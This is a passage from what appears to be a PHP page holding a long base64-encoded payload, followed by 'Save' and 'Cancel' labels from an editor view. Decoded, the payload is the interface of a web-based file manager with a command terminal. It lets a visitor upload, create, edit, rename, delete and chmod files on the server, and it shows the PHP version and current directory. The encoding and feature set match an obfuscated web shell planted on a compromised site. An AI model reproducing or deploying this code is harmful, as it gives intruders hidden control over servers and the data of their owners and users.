CAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24tdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj7imqE8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuPlF1aWNrIEFjdGlvbnM8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icXVpY2stYWN0aW9ucyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImZvcm0taW5saW5lIiBzdHlsZT0iZmxleDogMTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld2ZvbGRlciIgcGxhY2Vob2xkZXI9Ik5ldyBmb2xkZXIiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIPCfk4EgQ3JlYXRlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBjbGFzcz0iZm9ybS1pbmxpbmUiIHN0eWxlPSJmbGV4OiAxOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmV3ZmlsZSIgcGxhY2Vob2xkZXI9Ik5ldyBmaWxlIiByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDwn5OEIENyZWF0ZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgY2xhc3M9ImZvcm0taW5saW5lIiBzdHlsZT0iZmxleDogMTsgbWluLXdpZHRoOiAyNTBweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGVzW10iIG11bHRpcGxlIHN0eWxlPSJwYWRkaW5nOiA2cHg7IGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBzdHlsZT0iYmFja2dyb3VuZDogIzMyMzczYzsgYm9yZGVyLWNvbG9yOiAjMzIzNzNjOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg4qyG77iPIFVwbG9hZCBGaWxlcwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24tdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj7wn5OCPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj5GaWxlIEJyb3dzZXI8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1icm93c2VyLWNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz0iY29tcGFjdC10YWJsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGhlYWQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGg+TmFtZTwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5TaXplPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPlBlcm1pc3Npb25zPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPk1vZGlmaWVkPC90aD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRoPkFjdGlvbnM8L3RoPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RoZWFkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRmb2xkZXJzIGFzICRpdGVtKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHIgY2xhc3M9ImZvbGRlci1yb3ciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iZmlsZS1pY29uIj7wn5OBPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkaXRlbVsncGF0aCddKSkgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Pz0gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Ryb25nPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGVtIHN0eWxlPSJjb2xvcjogIzY2NjsiPjw/PSAkaXRlbVsnc2l6ZSddID8+PC9lbT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBnYXA6IDRweDsgYWxpZ24taXRlbXM6IGNlbnRlcjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNobW9kX2ZpbGUiIHZhbHVlPSI8Pz0gJGl0ZW1bJ25hbWUnXSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNobW9kIiB2YWx1ZT0iPD89ICRpdGVtWydwZXJtcyddID8+IiBzdHlsZT0id2lkdGg6IDYwcHg7IHBhZGRpbmc6IDRweDsgdGV4dC1hbGlnbjogY2VudGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJwYWRkaW5nOiA0cHggOHB4OyBmb250LXNpemU6IDEwcHg7Ij5DaDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImNvbG9yOiAjNjY2OyB3aGl0ZS1zcGFjZTogbm93cmFwOyI+PD89IGRhdGUoJ1ktbS1kIEg6aScsICRpdGVtWydtb2RpZmllZCddKSA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFjdGlvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6IGlubGluZTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvbGQiIHZhbHVlPSI8Pz0gJGl0ZW1bJ25hbWUnXSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXciIHBsYWNlaG9sZGVyPSJOZXcgbmFtZSIgc3R5bGU9IndpZHRoOiAxMDBweDsgcGFkZGluZzogNHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBzdHlsZT0icGFkZGluZzogNHB4IDhweDsgZm9udC1zaXplOiAxMXB4OyI+UmVuYW1lPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6IGlubGluZTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkZWxldGUiIHZhbHVlPSI8Pz0gJGl0ZW1bJ25hbWUnXSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuLWRhbmdlciIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBmb2xkZXIgPD89IGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkgPz4/JykiIHN0eWxlPSJwYWRkaW5nOiA0cHggOHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDwn5eR77iPCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZmlsZXMgYXMgJGl0ZW0pOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ciBjbGFzcz0iZmlsZS1yb3ciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGljb24gPSAn8J+ThCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXh0ID0gc3RydG9sb3dlcigkaXRlbVsnZXh0ZW5zaW9uJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGljb25zID0gWwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdwaHAnID0+ICfwn5CYJywgJ2pzJyA9PiAn8J+TnCcsICdjc3MnID0+ICfwn46oJywgJ2h0bWwnID0+ICfwn4yQJywgJ3R4dCcgPT4gJ/Cfk50nLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdqcGcnID0+ICfwn5a877iPJywgJ3BuZycgPT4gJ/CflrzvuI8nLCAnZ2lmJyA9PiAn8J+WvO+4jycsICdwZGYnID0+ICfwn5OVJywgJ3ppcCcgPT4gJ/Cfk6YnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzcWwnID0+ICfwn5eD77iPJywgJ2pzb24nID0+ICfwn5OLJywgJ3htbCcgPT4gJ/Cfk4QnCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRpY29uc1skZXh0XSkpICRpY29uID0gJGljb25zWyRleHRdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmaWxlLWljb24iPjw/PSAkaWNvbiA/Pjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X2RpcikpID8+JnZpZXc9PD89IHVybGVuY29kZSgkaXRlbVsnbmFtZSddKSA/PiIgdGFyZ2V0PSJfYmxhbmsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/PSBodG1sc3BlY2lhbGNoYXJzKCRpdGVtWyduYW1lJ10pID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAocmVhbHBhdGgoJGl0ZW1bJ3BhdGgnXSkgPT09IHJlYWxwYXRoKF9fRklMRV9fKSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICNkMzJmMmY7IGZvbnQtc2l6ZTogMC43ZW07IG1hcmdpbi1sZWZ0OiA2cHg7Ij7wn5SSPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iY29sb3I6ICM2NjY7Ij48Pz0gZm9ybWF0Qnl0ZXMoJGl0ZW1bJ3NpemUnXSkgPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIHN0eWxlPSJkaXNwbGF5OiBmbGV4OyBnYXA6IDRweDsgYWxpZ24taXRlbXM6IGNlbnRlcjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNobW9kX2ZpbGUiIHZhbHVlPSI8Pz0gJGl0ZW1bJ25hbWUnXSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNobW9kIiB2YWx1ZT0iPD89ICRpdGVtWydwZXJtcyddID8+IiBzdHlsZT0id2lkdGg6IDYwcHg7IHBhZGRpbmc6IDRweDsgdGV4dC1hbGlnbjogY2VudGVyOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJwYWRkaW5nOiA0cHggOHB4OyBmb250LXNpemU6IDEwcHg7Ij5DaDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImNvbG9yOiAjNjY2OyB3aGl0ZS1zcGFjZTogbm93cmFwOyI+PD89IGRhdGUoJ1ktbS1kIEg6aScsICRpdGVtWydtb2RpZmllZCddKSA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImFjdGlvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89IHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X2RpcikpID8+JmVkaXQ9PD89IHVybGVuY29kZSgkaXRlbVsnbmFtZSddKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gc3R5bGU9InBhZGRpbmc6IDRweCA4cHg7IGZvbnQtc2l6ZTogMTFweDsiPkVkaXQ8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0iZGlzcGxheTogaW5saW5lOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9sZCIgdmFsdWU9Ijw/PSAkaXRlbVsnbmFtZSddID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ldyIgcGxhY2Vob2xkZXI9Ik5ldyBuYW1lIiBzdHlsZT0id2lkdGg6IDEwMHB4OyBwYWRkaW5nOiA0cHg7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJwYWRkaW5nOiA0cHggOHB4OyBmb250LXNpemU6IDExcHg7Ij5SZW5hbWU8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0iZGlzcGxheTogaW5saW5lOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRlbGV0ZSIgdmFsdWU9Ijw/PSAkaXRlbVsnbmFtZSddID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4tZGFuZ2VyIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnRGVsZXRlIGZpbGUgPD89IGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkgPz4/JykiIHN0eWxlPSJwYWRkaW5nOiA0cHggOHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICDwn5eR77iPCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImZvb3RlciI+CiAgICAgICAgICAgIDxwPlBIUDogPD89IHBocHZlcnNpb24oKSA/PiB8IEN1cnJlbnQgRGlyZWN0b3J5OiA8Pz0gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIpID8+PC9wPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPHNjcmlwdD4KICAgICAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJywgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgIGNvbnN0IHRlcm1pbmFsSW5wdXQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdbbmFtZT0idGVybWluYWwtdGV4dCJdJyk7CiAgICAgICAgICAgIGlmICh0ZXJtaW5hbElucHV0KSB7CiAgICAgICAgICAgICAgICB0ZXJtaW5hbElucHV0LmZvY3VzKCk7CiAgICAgICAgICAgICAgICBjb25zdCBsYXN0Q21kID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ2xhc3RfY29tbWFuZCcpOwogICAgICAgICAgICAgICAgaWYgKGxhc3RDbWQpIHRlcm1pbmFsSW5wdXQudmFsdWUgPSBsYXN0Q21kOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdmb3JtJykuZm9yRWFjaChmb3JtID0+IHsKICAgICAgICAgICAgICAgIGlmIChmb3JtLnF1ZXJ5U2VsZWN0b3IoJ1tuYW1lPSJ0ZXJtaW5hbC10ZXh0Il0nKSkgewogICAgICAgICAgICAgICAgICAgIGZvcm0uYWRkRXZlbnRMaXN0ZW5lcignc3VibWl0JywgZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IGNtZCA9IHRoaXMucXVlcnlTZWxlY3RvcignW25hbWU9InRlcm1pbmFsLXRleHQiXScpLnZhbHVlOwogICAgICAgICAgICAgICAgICAgICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbSgnbGFzdF9jb21tYW5kJywgY21kKTsKICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CiAgICA8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+")); ?> </html>
💾 Save
❌ Cancel